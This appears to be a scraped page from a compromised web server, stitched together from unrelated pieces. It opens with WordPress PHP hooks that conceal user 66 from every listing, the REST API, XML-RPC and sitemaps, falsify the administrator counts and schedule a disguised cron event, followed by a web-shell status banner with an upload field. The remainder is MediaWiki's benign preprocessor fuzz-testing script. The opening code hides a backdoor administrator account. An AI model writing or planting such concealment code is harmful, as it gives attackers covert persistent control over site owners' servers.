add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/maintenance/ |
Upload File : |
<?php
/**
* Performs fuzz-style testing of MediaWiki's preprocessor.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup Maintenance
*/
$optionsWithoutArgs = [ 'verbose' ];
require_once __DIR__ . '/commandLine.inc';
$wgHooks['BeforeParserFetchTemplateAndtitle'][] = 'PPFuzzTester::templateHook';
class PPFuzzTester {
public $hairs = [
'[[', ']]', '{{', '{{', '}}', '}}', '{{{', '}}}',
'<', '>', '<nowiki', '<gallery', '</nowiki>', '</gallery>', '<nOwIkI>', '</NoWiKi>',
'<!--', '-->',
"\n==", "==\n",
'|', '=', "\n", ' ', "\t", "\x7f",
'~~', '~~~', '~~~~', 'subst:',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
// extensions
// '<ref>', '</ref>', '<references/>',
];
public $minLength = 0;
public $maxLength = 20;
public $maxTemplates = 5;
// public $outputTypes = array( 'OT_HTML', 'OT_WIKI', 'OT_PREPROCESS' );
public $entryPoints = [ 'testSrvus', 'testPst', 'testPreprocess' ];
public $verbose = false;
private static $currentTest = false;
function execute() {
if ( !file_exists( 'results' ) ) {
mkdir( 'results' );
}
if ( !is_dir( 'results' ) ) {
echo "Unable to create 'results' directory\n";
exit( 1 );
}
$overallStart = microtime( true );
$reportInterval = 1000;
for ( $i = 1; true; $i++ ) {
$t = -microtime( true );
try {
self::$currentTest = new PPFuzzTest( $this );
self::$currentTest->execute();
$passed = 'passed';
} catch ( Exception $e ) {
$testReport = self::$currentTest->getReport();
$exceptionReport = $e->getText();
$hash = md5( $testReport );
file_put_contents( "results/ppft-$hash.in", serialize( self::$currentTest ) );
file_put_contents( "results/ppft-$hash.fail",
"Input:\n$testReport\n\nException report:\n$exceptionReport\n" );
print "Test $hash failed\n";
$passed = 'failed';
}
$t += microtime( true );
if ( $this->verbose ) {
printf( "Test $passed in %.3f seconds\n", $t );
print self::$currentTest->getReport();
}
$reportMetric = ( microtime( true ) - $overallStart ) / $i * $reportInterval;
if ( $reportMetric > 25 ) {
if ( substr( $reportInterval, 0, 1 ) === '1' ) {
$reportInterval /= 2;
} else {
$reportInterval /= 5;
}
} elseif ( $reportMetric < 4 ) {
if ( substr( $reportInterval, 0, 1 ) === '1' ) {
$reportInterval *= 5;
} else {
$reportInterval *= 2;
}
}
if ( $i % $reportInterval == 0 ) {
print "$i tests done\n";
/*
$testReport = self::$currentTest->getReport();
$filename = 'results/ppft-' . md5( $testReport ) . '.pass';
file_put_contents( $filename, "Input:\n$testReport\n" );*/
}
}
}
function makeInputText( $max = false ) {
if ( $max === false ) {
$max = $this->maxLength;
}
$length = mt_rand( $this->minLength, $max );
$s = '';
for ( $i = 0; $i < $length; $i++ ) {
$hairIndex = mt_rand( 0, count( $this->hairs ) - 1 );
$s .= $this->hairs[$hairIndex];
}
// Send through the UTF-8 normaliser
// This resolves a few differences between the old preprocessor and the
// XML-based one, which doesn't like illegals and converts line endings.
// It's done by the MW UI, so it's a reasonably legitimate thing to do.
global $wgContLang;
$s = $wgContLang->normalize( $s );
return $s;
}
function makeTitle() {
return Title::newFromText( mt_rand( 0, 1000000 ), mt_rand( 0, 10 ) );
}
/*
function pickOutputType() {
$count = count( $this->outputTypes );
return $this->outputTypes[ mt_rand( 0, $count - 1 ) ];
}*/
function pickEntryPoint() {
$count = count( $this->entryPoints );
return $this->entryPoints[mt_rand( 0, $count - 1 )];
}
}
class PPFuzzTest {
public $templates, $mainText, $title, $entryPoint, $output;
function __construct( $tester ) {
global $wgMaxSigChars;
$this->parent = $tester;
$this->mainText = $tester->makeInputText();
$this->title = $tester->makeTitle();
// $this->outputType = $tester->pickOutputType();
$this->entryPoint = $tester->pickEntryPoint();
$this->nickname = $tester->makeInputText( $wgMaxSigChars + 10 );
$this->fancySig = (bool)mt_rand( 0, 1 );
$this->templates = [];
}
/**
* @param Title $title
* @return array
*/
function templateHook( $title ) {
$titleText = $title->getPrefixedDBkey();
if ( !isset( $this->templates[$titleText] ) ) {
$finalTitle = $title;
if ( count( $this->templates ) >= $this->parent->maxTemplates ) {
// Too many templates
$text = false;
} else {
if ( !mt_rand( 0, 1 ) ) {
// Redirect
$finalTitle = $this->parent->makeTitle();
}
if ( !mt_rand( 0, 5 ) ) {
// Doesn't exist
$text = false;
} else {
$text = $this->parent->makeInputText();
}
}
$this->templates[$titleText] = [
'text' => $text,
'finalTitle' => $finalTitle ];
}
return $this->templates[$titleText];
}
function execute() {
global $wgParser, $wgUser;
$wgUser = new PPFuzzUser;
$wgUser->mName = 'Fuzz';
$wgUser->mFrom = 'name';
$wgUser->ppfz_test = $this;
$options = ParserOptions::newFromUser( $wgUser );
$options->setTemplateCallback( [ $this, 'templateHook' ] );
$options->setTimestamp( wfTimestampNow() );
$this->output = call_user_func(
[ $wgParser, $this->entryPoint ],
$this->mainText,
$this->title,
$options
);
return $this->output;
}
function getReport() {
$s = "Title: " . $this->title->getPrefixedDBkey() . "\n" .
// "Output type: {$this->outputType}\n" .
"Entry point: {$this->entryPoint}\n" .
"User: " . ( $this->fancySig ? 'fancy' : 'no-fancy' ) .
' ' . var_export( $this->nickname, true ) . "\n" .
"Main text: " . var_export( $this->mainText, true ) . "\n";
foreach ( $this->templates as $titleText => $template ) {
$finalTitle = $template['finalTitle'];
if ( $finalTitle != $titleText ) {
$s .= "[[$titleText]] -> [[$finalTitle]]: " . var_export( $template['text'], true ) . "\n";
} else {
$s .= "[[$titleText]]: " . var_export( $template['text'], true ) . "\n";
}
}
$s .= "Output: " . var_export( $this->output, true ) . "\n";
return $s;
}
}
class PPFuzzUser extends User {
public $ppfz_test, $mDataLoaded;
function load() {
if ( $this->mDataLoaded ) {
return;
}
$this->mDataLoaded = true;
$this->loadDefaults( $this->mName );
}
function getOption( $oname, $defaultOverride = null, $ignoreHidden = false ) {
if ( $oname === 'fancysig' ) {
return $this->ppfz_test->fancySig;
} elseif ( $oname === 'nickname' ) {
return $this->ppfz_test->nickname;
} else {
return parent::getOption( $oname, $defaultOverride, $ignoreHidden );
}
}
}
ini_set( 'memory_limit', '50M' );
if ( isset( $args[0] ) ) {
$testText = file_get_contents( $args[0] );
if ( !$testText ) {
print "File not found\n";
exit( 1 );
}
$test = unserialize( $testText );
$result = $test->execute();
print "Test passed.\n";
} else {
$tester = new PPFuzzTester;
$tester->verbose = isset( $options['verbose'] );
$tester->execute();
}